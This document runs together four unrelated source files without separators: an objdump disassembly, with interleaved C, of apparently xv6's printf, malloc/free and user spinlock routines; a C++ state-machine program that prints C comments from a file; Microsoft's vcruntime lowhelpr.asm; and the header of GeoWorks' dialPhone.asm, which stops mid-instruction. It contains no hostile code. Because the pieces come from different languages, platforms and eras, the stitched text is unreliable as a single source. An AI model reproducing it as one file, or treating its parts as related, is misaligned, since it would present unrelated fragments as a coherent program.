1405: 66 90 xchg %ax,%ax 1407: 66 90 xchg %ax,%ax 1409: 66 90 xchg %ax,%ax 140b: 66 90 xchg %ax,%ax 140d: 66 90 xchg %ax,%ax 140f: 90 nop 00001410 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 1410: 55 push %ebp 1411: 89 e5 mov %esp,%ebp 1413: 57 push %edi 1414: 56 push %esi 1415: 53 push %ebx 1416: 83 ec 3c sub $0x3c,%esp 1419: 89 4d c4 mov %ecx,-0x3c(%ebp) uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 141c: 89 d1 mov %edx,%ecx { 141e: 89 45 b8 mov %eax,-0x48(%ebp) if(sgn && xx < 0){ 1421: 85 d2 test %edx,%edx 1423: 0f 89 7f 00 00 00 jns 14a8 <printint+0x98> 1429: f6 45 08 01 testb $0x1,0x8(%ebp) 142d: 74 79 je 14a8 <printint+0x98> neg = 1; 142f: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp) x = -xx; 1436: f7 d9 neg %ecx } else { x = xx; } i = 0; 1438: 31 db xor %ebx,%ebx 143a: 8d 75 d7 lea -0x29(%ebp),%esi 143d: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 1440: 89 c8 mov %ecx,%eax 1442: 31 d2 xor %edx,%edx 1444: 89 cf mov %ecx,%edi 1446: f7 75 c4 divl -0x3c(%ebp) 1449: 0f b6 92 d4 18 00 00 movzbl 0x18d4(%edx),%edx 1450: 89 45 c0 mov %eax,-0x40(%ebp) 1453: 89 d8 mov %ebx,%eax 1455: 8d 5b 01 lea 0x1(%ebx),%ebx }while((x /= base) != 0); 1458: 8b 4d c0 mov -0x40(%ebp),%ecx buf[i++] = digits[x % base]; 145b: 88 14 1e mov %dl,(%esi,%ebx,1) }while((x /= base) != 0); 145e: 39 7d c4 cmp %edi,-0x3c(%ebp) 1461: 76 dd jbe 1440 <printint+0x30> if(neg) 1463: 8b 4d bc mov -0x44(%ebp),%ecx 1466: 85 c9 test %ecx,%ecx 1468: 74 0c je 1476 <printint+0x66> buf[i++] = '-'; 146a: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1) buf[i++] = digits[x % base]; 146f: 89 d8 mov %ebx,%eax buf[i++] = '-'; 1471: ba 2d 00 00 00 mov $0x2d,%edx while(--i >= 0) 1476: 8b 7d b8 mov -0x48(%ebp),%edi 1479: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx 147d: eb 07 jmp 1486 <printint+0x76> 147f: 90 nop 1480: 0f b6 13 movzbl (%ebx),%edx 1483: 83 eb 01 sub $0x1,%ebx write(fd, &c, 1); 1486: 83 ec 04 sub $0x4,%esp 1489: 88 55 d7 mov %dl,-0x29(%ebp) 148c: 6a 01 push $0x1 148e: 56 push %esi 148f: 57 push %edi 1490: e8 de fe ff ff call 1373 <write> while(--i >= 0) 1495: 83 c4 10 add $0x10,%esp 1498: 39 de cmp %ebx,%esi 149a: 75 e4 jne 1480 <printint+0x70> putc(fd, buf[i]); } 149c: 8d 65 f4 lea -0xc(%ebp),%esp 149f: 5b pop %ebx 14a0: 5e pop %esi 14a1: 5f pop %edi 14a2: 5d pop %ebp 14a3: c3 ret 14a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 14a8: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp) 14af: eb 87 jmp 1438 <printint+0x28> 14b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 14b8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 14bf: 90 nop 000014c0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 14c0: f3 0f 1e fb endbr32 14c4: 55 push %ebp 14c5: 89 e5 mov %esp,%ebp 14c7: 57 push %edi 14c8: 56 push %esi 14c9: 53 push %ebx 14ca: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 14cd: 8b 75 0c mov 0xc(%ebp),%esi 14d0: 0f b6 1e movzbl (%esi),%ebx 14d3: 84 db test %bl,%bl 14d5: 0f 84 b4 00 00 00 je 158f <printf+0xcf> ap = (uint*)(void*)&fmt + 1; 14db: 8d 45 10 lea 0x10(%ebp),%eax 14de: 83 c6 01 add $0x1,%esi write(fd, &c, 1); 14e1: 8d 7d e7 lea -0x19(%ebp),%edi state = 0; 14e4: 31 d2 xor %edx,%edx ap = (uint*)(void*)&fmt + 1; 14e6: 89 45 d0 mov %eax,-0x30(%ebp) 14e9: eb 33 jmp 151e <printf+0x5e> 14eb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 14ef: 90 nop 14f0: 89 55 d4 mov %edx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 14f3: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ 14f8: 83 f8 25 cmp $0x25,%eax 14fb: 74 17 je 1514 <printf+0x54> write(fd, &c, 1); 14fd: 83 ec 04 sub $0x4,%esp 1500: 88 5d e7 mov %bl,-0x19(%ebp) 1503: 6a 01 push $0x1 1505: 57 push %edi 1506: ff 75 08 pushl 0x8(%ebp) 1509: e8 65 fe ff ff call 1373 <write> 150e: 8b 55 d4 mov -0x2c(%ebp),%edx } else { putc(fd, c); 1511: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 1514: 0f b6 1e movzbl (%esi),%ebx 1517: 83 c6 01 add $0x1,%esi 151a: 84 db test %bl,%bl 151c: 74 71 je 158f <printf+0xcf> c = fmt[i] & 0xff; 151e: 0f be cb movsbl %bl,%ecx 1521: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 1524: 85 d2 test %edx,%edx 1526: 74 c8 je 14f0 <printf+0x30> } } else if(state == '%'){ 1528: 83 fa 25 cmp $0x25,%edx 152b: 75 e7 jne 1514 <printf+0x54> if(c == 'd'){ 152d: 83 f8 64 cmp $0x64,%eax 1530: 0f 84 9a 00 00 00 je 15d0 <printf+0x110> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 1536: 81 e1 f7 00 00 00 and $0xf7,%ecx 153c: 83 f9 70 cmp $0x70,%ecx 153f: 74 5f je 15a0 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 1541: 83 f8 73 cmp $0x73,%eax 1544: 0f 84 d6 00 00 00 je 1620 <printf+0x160> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 154a: 83 f8 63 cmp $0x63,%eax 154d: 0f 84 8d 00 00 00 je 15e0 <printf+0x120> putc(fd, *ap); ap++; } else if(c == '%'){ 1553: 83 f8 25 cmp $0x25,%eax 1556: 0f 84 b4 00 00 00 je 1610 <printf+0x150> write(fd, &c, 1); 155c: 83 ec 04 sub $0x4,%esp 155f: c6 45 e7 25 movb $0x25,-0x19(%ebp) 1563: 6a 01 push $0x1 1565: 57 push %edi 1566: ff 75 08 pushl 0x8(%ebp) 1569: e8 05 fe ff ff call 1373 <write> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 156e: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 1571: 83 c4 0c add $0xc,%esp 1574: 6a 01 push $0x1 1576: 83 c6 01 add $0x1,%esi 1579: 57 push %edi 157a: ff 75 08 pushl 0x8(%ebp) 157d: e8 f1 fd ff ff call 1373 <write> for(i = 0; fmt[i]; i++){ 1582: 0f b6 5e ff movzbl -0x1(%esi),%ebx putc(fd, c); 1586: 83 c4 10 add $0x10,%esp } state = 0; 1589: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 158b: 84 db test %bl,%bl 158d: 75 8f jne 151e <printf+0x5e> } } } 158f: 8d 65 f4 lea -0xc(%ebp),%esp 1592: 5b pop %ebx 1593: 5e pop %esi 1594: 5f pop %edi 1595: 5d pop %ebp 1596: c3 ret 1597: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 159e: 66 90 xchg %ax,%ax printint(fd, *ap, 16, 0); 15a0: 83 ec 0c sub $0xc,%esp 15a3: b9 10 00 00 00 mov $0x10,%ecx 15a8: 6a 00 push $0x0 15aa: 8b 5d d0 mov -0x30(%ebp),%ebx 15ad: 8b 45 08 mov 0x8(%ebp),%eax 15b0: 8b 13 mov (%ebx),%edx 15b2: e8 59 fe ff ff call 1410 <printint> ap++; 15b7: 89 d8 mov %ebx,%eax 15b9: 83 c4 10 add $0x10,%esp state = 0; 15bc: 31 d2 xor %edx,%edx ap++; 15be: 83 c0 04 add $0x4,%eax 15c1: 89 45 d0 mov %eax,-0x30(%ebp) 15c4: e9 4b ff ff ff jmp 1514 <printf+0x54> 15c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 10, 1); 15d0: 83 ec 0c sub $0xc,%esp 15d3: b9 0a 00 00 00 mov $0xa,%ecx 15d8: 6a 01 push $0x1 15da: eb ce jmp 15aa <printf+0xea> 15dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, *ap); 15e0: 8b 5d d0 mov -0x30(%ebp),%ebx write(fd, &c, 1); 15e3: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 15e6: 8b 03 mov (%ebx),%eax write(fd, &c, 1); 15e8: 6a 01 push $0x1 ap++; 15ea: 83 c3 04 add $0x4,%ebx write(fd, &c, 1); 15ed: 57 push %edi 15ee: ff 75 08 pushl 0x8(%ebp) putc(fd, *ap); 15f1: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 15f4: e8 7a fd ff ff call 1373 <write> ap++; 15f9: 89 5d d0 mov %ebx,-0x30(%ebp) 15fc: 83 c4 10 add $0x10,%esp state = 0; 15ff: 31 d2 xor %edx,%edx 1601: e9 0e ff ff ff jmp 1514 <printf+0x54> 1606: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 160d: 8d 76 00 lea 0x0(%esi),%esi putc(fd, c); 1610: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 1613: 83 ec 04 sub $0x4,%esp 1616: e9 59 ff ff ff jmp 1574 <printf+0xb4> 161b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 161f: 90 nop s = (char*)*ap; 1620: 8b 45 d0 mov -0x30(%ebp),%eax 1623: 8b 18 mov (%eax),%ebx ap++; 1625: 83 c0 04 add $0x4,%eax 1628: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 162b: 85 db test %ebx,%ebx 162d: 74 17 je 1646 <printf+0x186> while(*s != 0){ 162f: 0f b6 03 movzbl (%ebx),%eax state = 0; 1632: 31 d2 xor %edx,%edx while(*s != 0){ 1634: 84 c0 test %al,%al 1636: 0f 84 d8 fe ff ff je 1514 <printf+0x54> 163c: 89 75 d4 mov %esi,-0x2c(%ebp) 163f: 89 de mov %ebx,%esi 1641: 8b 5d 08 mov 0x8(%ebp),%ebx 1644: eb 1a jmp 1660 <printf+0x1a0> s = "(null)"; 1646: bb cb 18 00 00 mov $0x18cb,%ebx while(*s != 0){ 164b: 89 75 d4 mov %esi,-0x2c(%ebp) 164e: b8 28 00 00 00 mov $0x28,%eax 1653: 89 de mov %ebx,%esi 1655: 8b 5d 08 mov 0x8(%ebp),%ebx 1658: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 165f: 90 nop write(fd, &c, 1); 1660: 83 ec 04 sub $0x4,%esp s++; 1663: 83 c6 01 add $0x1,%esi 1666: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 1669: 6a 01 push $0x1 166b: 57 push %edi 166c: 53 push %ebx 166d: e8 01 fd ff ff call 1373 <write> while(*s != 0){ 1672: 0f b6 06 movzbl (%esi),%eax 1675: 83 c4 10 add $0x10,%esp 1678: 84 c0 test %al,%al 167a: 75 e4 jne 1660 <printf+0x1a0> 167c: 8b 75 d4 mov -0x2c(%ebp),%esi state = 0; 167f: 31 d2 xor %edx,%edx 1681: e9 8e fe ff ff jmp 1514 <printf+0x54> 1686: 66 90 xchg %ax,%ax 1688: 66 90 xchg %ax,%ax 168a: 66 90 xchg %ax,%ax 168c: 66 90 xchg %ax,%ax 168e: 66 90 xchg %ax,%ax 00001690 <free>: static Header base; static Header *freep; void free(void *ap) { 1690: f3 0f 1e fb endbr32 1694: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1695: a1 c8 1b 00 00 mov 0x1bc8,%eax { 169a: 89 e5 mov %esp,%ebp 169c: 57 push %edi 169d: 56 push %esi 169e: 53 push %ebx 169f: 8b 5d 08 mov 0x8(%ebp),%ebx 16a2: 8b 10 mov (%eax),%edx bp = (Header*)ap - 1; 16a4: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 16a7: 39 c8 cmp %ecx,%eax 16a9: 73 15 jae 16c0 <free+0x30> 16ab: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 16af: 90 nop 16b0: 39 d1 cmp %edx,%ecx 16b2: 72 14 jb 16c8 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 16b4: 39 d0 cmp %edx,%eax 16b6: 73 10 jae 16c8 <free+0x38> { 16b8: 89 d0 mov %edx,%eax for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 16ba: 8b 10 mov (%eax),%edx 16bc: 39 c8 cmp %ecx,%eax 16be: 72 f0 jb 16b0 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 16c0: 39 d0 cmp %edx,%eax 16c2: 72 f4 jb 16b8 <free+0x28> 16c4: 39 d1 cmp %edx,%ecx 16c6: 73 f0 jae 16b8 <free+0x28> break; if(bp + bp->s.size == p->s.ptr){ 16c8: 8b 73 fc mov -0x4(%ebx),%esi 16cb: 8d 3c f1 lea (%ecx,%esi,8),%edi 16ce: 39 fa cmp %edi,%edx 16d0: 74 1e je 16f0 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 16d2: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 16d5: 8b 50 04 mov 0x4(%eax),%edx 16d8: 8d 34 d0 lea (%eax,%edx,8),%esi 16db: 39 f1 cmp %esi,%ecx 16dd: 74 28 je 1707 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 16df: 89 08 mov %ecx,(%eax) freep = p; } 16e1: 5b pop %ebx freep = p; 16e2: a3 c8 1b 00 00 mov %eax,0x1bc8 } 16e7: 5e pop %esi 16e8: 5f pop %edi 16e9: 5d pop %ebp 16ea: c3 ret 16eb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 16ef: 90 nop bp->s.size += p->s.ptr->s.size; 16f0: 03 72 04 add 0x4(%edx),%esi 16f3: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 16f6: 8b 10 mov (%eax),%edx 16f8: 8b 12 mov (%edx),%edx 16fa: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 16fd: 8b 50 04 mov 0x4(%eax),%edx 1700: 8d 34 d0 lea (%eax,%edx,8),%esi 1703: 39 f1 cmp %esi,%ecx 1705: 75 d8 jne 16df <free+0x4f> p->s.size += bp->s.size; 1707: 03 53 fc add -0x4(%ebx),%edx freep = p; 170a: a3 c8 1b 00 00 mov %eax,0x1bc8 p->s.size += bp->s.size; 170f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 1712: 8b 53 f8 mov -0x8(%ebx),%edx 1715: 89 10 mov %edx,(%eax) } 1717: 5b pop %ebx 1718: 5e pop %esi 1719: 5f pop %edi 171a: 5d pop %ebp 171b: c3 ret 171c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001720 <malloc>: return freep; } void* malloc(uint nbytes) { 1720: f3 0f 1e fb endbr32 1724: 55 push %ebp 1725: 89 e5 mov %esp,%ebp 1727: 57 push %edi 1728: 56 push %esi 1729: 53 push %ebx 172a: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 172d: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 1730: 8b 3d c8 1b 00 00 mov 0x1bc8,%edi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1736: 8d 70 07 lea 0x7(%eax),%esi 1739: c1 ee 03 shr $0x3,%esi 173c: 83 c6 01 add $0x1,%esi if((prevp = freep) == 0){ 173f: 85 ff test %edi,%edi 1741: 0f 84 a9 00 00 00 je 17f0 <malloc+0xd0> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1747: 8b 07 mov (%edi),%eax if(p->s.size >= nunits){ 1749: 8b 48 04 mov 0x4(%eax),%ecx 174c: 39 f1 cmp %esi,%ecx 174e: 73 6d jae 17bd <malloc+0x9d> 1750: 81 fe 00 10 00 00 cmp $0x1000,%esi 1756: bb 00 10 00 00 mov $0x1000,%ebx 175b: 0f 43 de cmovae %esi,%ebx p = sbrk(nu * sizeof(Header)); 175e: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx 1765: 89 4d e4 mov %ecx,-0x1c(%ebp) 1768: eb 17 jmp 1781 <malloc+0x61> 176a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1770: 8b 10 mov (%eax),%edx if(p->s.size >= nunits){ 1772: 8b 4a 04 mov 0x4(%edx),%ecx 1775: 39 f1 cmp %esi,%ecx 1777: 73 4f jae 17c8 <malloc+0xa8> 1779: 8b 3d c8 1b 00 00 mov 0x1bc8,%edi 177f: 89 d0 mov %edx,%eax p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 1781: 39 c7 cmp %eax,%edi 1783: 75 eb jne 1770 <malloc+0x50> p = sbrk(nu * sizeof(Header)); 1785: 83 ec 0c sub $0xc,%esp 1788: ff 75 e4 pushl -0x1c(%ebp) 178b: e8 4b fc ff ff call 13db <sbrk> if(p == (char*)-1) 1790: 83 c4 10 add $0x10,%esp 1793: 83 f8 ff cmp $0xffffffff,%eax 1796: 74 1b je 17b3 <malloc+0x93> hp->s.size = nu; 1798: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 179b: 83 ec 0c sub $0xc,%esp 179e: 83 c0 08 add $0x8,%eax 17a1: 50 push %eax 17a2: e8 e9 fe ff ff call 1690 <free> return freep; 17a7: a1 c8 1b 00 00 mov 0x1bc8,%eax if((p = morecore(nunits)) == 0) 17ac: 83 c4 10 add $0x10,%esp 17af: 85 c0 test %eax,%eax 17b1: 75 bd jne 1770 <malloc+0x50> return 0; } } 17b3: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 17b6: 31 c0 xor %eax,%eax } 17b8: 5b pop %ebx 17b9: 5e pop %esi 17ba: 5f pop %edi 17bb: 5d pop %ebp 17bc: c3 ret if(p->s.size >= nunits){ 17bd: 89 c2 mov %eax,%edx 17bf: 89 f8 mov %edi,%eax 17c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 17c8: 39 ce cmp %ecx,%esi 17ca: 74 54 je 1820 <malloc+0x100> p->s.size -= nunits; 17cc: 29 f1 sub %esi,%ecx 17ce: 89 4a 04 mov %ecx,0x4(%edx) p += p->s.size; 17d1: 8d 14 ca lea (%edx,%ecx,8),%edx p->s.size = nunits; 17d4: 89 72 04 mov %esi,0x4(%edx) freep = prevp; 17d7: a3 c8 1b 00 00 mov %eax,0x1bc8 } 17dc: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 17df: 8d 42 08 lea 0x8(%edx),%eax } 17e2: 5b pop %ebx 17e3: 5e pop %esi 17e4: 5f pop %edi 17e5: 5d pop %ebp 17e6: c3 ret 17e7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 17ee: 66 90 xchg %ax,%ax base.s.ptr = freep = prevp = &base; 17f0: c7 05 c8 1b 00 00 cc movl $0x1bcc,0x1bc8 17f7: 1b 00 00 base.s.size = 0; 17fa: bf cc 1b 00 00 mov $0x1bcc,%edi base.s.ptr = freep = prevp = &base; 17ff: c7 05 cc 1b 00 00 cc movl $0x1bcc,0x1bcc 1806: 1b 00 00 for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1809: 89 f8 mov %edi,%eax base.s.size = 0; 180b: c7 05 d0 1b 00 00 00 movl $0x0,0x1bd0 1812: 00 00 00 if(p->s.size >= nunits){ 1815: e9 36 ff ff ff jmp 1750 <malloc+0x30> 181a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi prevp->s.ptr = p->s.ptr; 1820: 8b 0a mov (%edx),%ecx 1822: 89 08 mov %ecx,(%eax) 1824: eb b1 jmp 17d7 <malloc+0xb7> 1826: 66 90 xchg %ax,%ax 1828: 66 90 xchg %ax,%ax 182a: 66 90 xchg %ax,%ax 182c: 66 90 xchg %ax,%ax 182e: 66 90 xchg %ax,%ax 00001830 <uacquire>: #include "uspinlock.h" #include "x86.h" void uacquire(struct uspinlock *lk) { 1830: f3 0f 1e fb endbr32 1834: 55 push %ebp xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 1835: b9 01 00 00 00 mov $0x1,%ecx 183a: 89 e5 mov %esp,%ebp 183c: 8b 55 08 mov 0x8(%ebp),%edx 183f: 90 nop 1840: 89 c8 mov %ecx,%eax 1842: f0 87 02 lock xchg %eax,(%edx) // The xchg is atomic. while(xchg(&lk->locked, 1) != 0) 1845: 85 c0 test %eax,%eax 1847: 75 f7 jne 1840 <uacquire+0x10> ; // Tell the C compiler and the processor to not move loads or stores // past this point, to ensure that the critical section's memory // references happen after the lock is acquired. __sync_synchronize(); 1849: f0 83 0c 24 00 lock orl $0x0,(%esp) } 184e: 5d pop %ebp 184f: c3 ret 00001850 <urelease>: void urelease (struct uspinlock *lk) { 1850: f3 0f 1e fb endbr32 1854: 55 push %ebp 1855: 89 e5 mov %esp,%ebp 1857: 8b 45 08 mov 0x8(%ebp),%eax __sync_synchronize(); 185a: f0 83 0c 24 00 lock orl $0x0,(%esp) // Release the lock, equivalent to lk->locked = 0. // This code can't use a C assignment, since it might // not be atomic. A real OS would use C atomics here. asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 185f: c7 00 00 00 00 00 movl $0x0,(%eax) } 1865: 5d pop %ebp 1866: c3 ret
#include "dfa.h" #include <iostream> #include <string> #include <fstream> using namespace std; void loadStatesFromFIle(int stateTable[3][4]) { int state = 0; ifstream file("states.txt"); if (file.is_open()) { for (int i = 0; i <= 2; ++i) { for (int j = 0; j <= 3; ++j) { file >> state; stateTable[i][j] = state; } } file.close(); } else { cout << "File with states is not found!" << endl; } } int getState(const int stateTable[3][4], const int state, const char &symbol) { switch (symbol) { case '/': { return stateTable[0][state]; break; } case '*': { return stateTable[1][state]; break; } default: { return stateTable[2][state]; break; } } } void readComments(const int stateTable[3][4], const string &fileName, string &comments) { int state = 0; ifstream file(fileName); if (file.is_open()) { while (!file.eof()) { char symbol = file.get(); state = getState(stateTable, state, symbol); switch (state) { case 0: { break; } case 1: { comments = symbol; break; } case 2: { comments += symbol; break; } case 3: { comments += symbol; break; } case 4: { comments += symbol; state = 0; cout << comments << endl; break; } } } file.close(); } else { cout << "File with comments is not found!" << endl; } }
;*** ;lowhelpr.asm ; ; Copyright (C) Microsoft Corporation. All rights reserved. ; ;Purpose: ; Contains _CallSettingFrame(), which must be in asm for NLG purposes. ; ;Notes: ; ;******************************************************************************* title lowhelpr.asm .xlist include vcruntime.inc include exsup.inc .list EXTERN _NLG_Notify:NEAR EXTERN _NLG_Notify1:NEAR PUBLIC _CallSettingFrame PUBLIC _NLG_Return extern _NLG_Destination:_NLG_INFO CODESEG ;//////////////////////////////////////////////////////////////////////////// ;/ ;/ _CallSettingFrame - sets up EBP and calls the specified funclet. Restores ;/ EBP on return. ;/ ;/ Return value is return value of funclet (whatever is in EAX). ;/ public _CallSettingFrame _CallSettingFrame proc stdcall, funclet:IWORD, pRN:IWORD, dwInCode:DWORD ; FPO = 0 dwords locals allocated in prolog ; 3 dword parameters ; 8 bytes in prolog ; 4 registers saved (includes locals to work around debugger bug) ; 1 EBP is used ; 0 frame type = FPO .FPO (0,3,8,4,1,0) sub esp,4 push ebx push ecx mov eax,pRN add eax,0Ch ; sizeof(EHRegistrationNode) -- assumed to equal 0Ch mov dword ptr [ebp-4],eax mov eax,funclet push ebp ; Save our frame pointer push dwInCode mov ecx,dwInCode mov ebp,dword ptr [ebp-4] ; Load target frame pointer call _NLG_Notify1 ; Notify debugger push esi push edi call eax ; Call the funclet _NLG_Return:: pop edi pop esi mov ebx,ebp pop ebp mov ecx,dwInCode push ebp mov ebp,ebx cmp ecx, 0100h jne _NLG_Continue mov ecx, 02h _NLG_Continue: push ecx call _NLG_Notify1 ; Notify debugger yet again pop ebp ; Restore our frame pointer pop ecx pop ebx ret 0Ch _CallSettingFrame ENDP ; ; SafeSEH stubs, declared here, in assembler language, so that they may be ; added to the SafeSEH handler list (which cannot be done from native C). ; EXTERN _CatchGuardHandler:PROC EXTERN _TranslatorGuardHandler:PROC .SafeSEH _CatchGuardHandler .SafeSEH _TranslatorGuardHandler END
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: GeoDex MODULE: Dial FILE: dialPhone.asm AUTHOR: Ted H. Kim, 10/17/89 ROUTINES: Name Description ---- ----------- CreatePhoneTypeTable Creates phone number type name table RolodexDial Dial the number or put up phone list DB RolodexDialFromPhoneList Dials the number selected from phone list InitiateConfirmBox Brings up confirm phone number DB CopyPhoneNumberIntoMemBlock Copy phone number string into a mem blk RolodexDialCurrentNumber Dial the phone number DisplayPhoneList Bring up the phone number list DB UpdatePhoneEntryInRecord Update the current record if modified CheckForNoPhoneEntry Check to see if there are any phone entries MakePhoneListBoxObjectsNotUsable Make all objects in phone list DB not usable AddIndexFieldToPhoneListBox Add index field to the phone number list DB AddPhoneNumberToPhoneListBox Add phone number string to the phone number DB DrawPhoneMonikers Update the moniker in phone button RolodexPhoneDown Handles down icon in phone fields RolodexPhoneUp Handles up icon in phone fields SaveCurPhone Saves currently displayed phone fields REVISION HISTORY: Name Date Description ---- ---- ----------- ted 10/17/89 Initial revision ted 3/92 Complete restructuring for 2.0 witt 1/25/94 Removed evil code that wrote to code segment DESCRIPTION: Contains routines for displaying phone numbers. $Id: dialPhone.asm,v 1.1 97/04/04 15:49:53 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ Init segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CreatePhoneTypeTable %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Creates phone number type name table. The default names are copied, and blanks stored for the rest. CALLED BY: FileInitialize PASS: ds - segment address of core block RETURN: dgroup:gmb.GMB_phoneTypeBlk <- handle of phone number type name block DESTROYED: cx, di, es PSEUDO CODE/STRATEGY: Allocate a new block to hold the phone type names. Determine size of strings and overhead pointers. Copy predefined phone type names into this data block The user definable phone types get NULL ptrs. Initiailize some phone variables REVISION HISTORY: Name Date Description ---- ---- ----------- Ted 10/30/89 Initial version Ted 12/5/90 Reads in text chunks of phone names witt 1/24/94 Overhaul and DBCS-ized (A Good Thing (tm)) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CreatePhoneTypeTable proc far push ds, es ; ; Walk through the default strings and determine total size. ; GetResourceHandleNS PhoneHomeString, bx push bx ; save handle call MemLock ; lock the block mov es, ax ; set up the segment mov dx, (size PhoneTypeNameItem)+(size word) ; base size mov di, offset PhoneHomeString ; chunk handle call derefStringSize add dx, cx mov di, offset PhoneWorkString call derefStringSize add dx, cx mov di, offset PhoneCarString call derefStringSize add dx, cx mov di, offset PhoneFaxString call derefStringSize add dx, cx mov di, offset PhonePagerString call derefStringSize add dx, cx mov di, offset EmailString call derefStringSize add cx, dx ; cx <- total size. push es ; save string segment ; ; Now allocate the phone type name block ; call DBAllocNO ; allocate a new block mov ds:[gmb.GMB_phoneTypeBlk], di ; save the handle of new block call DBLockNO mov di, es:[di] ; es:di <- destination (phone block) mov dx, di ; Zero the _whole_ DBItem. CheckHack < NULL eq 0 > mov bx, cx ; save size clr ax ; zero the memory shr cx, 1 ; word count rep stosw ; zero me! mov cx, bx ; restore byte size of DBItem pop ds ; ds <- default phone type string segment mov di, dx ; es:di -> base of DBItem ; ; Store pointers to default strings. ; ; cx - byte size of whole DBItem ; dx - base addr of PhoneType DBItem ; es:[di] - pointer to string ; es:bx - where string is stored. ; mov es:[di].PEI_size, cx ; store chunk size lea bx, 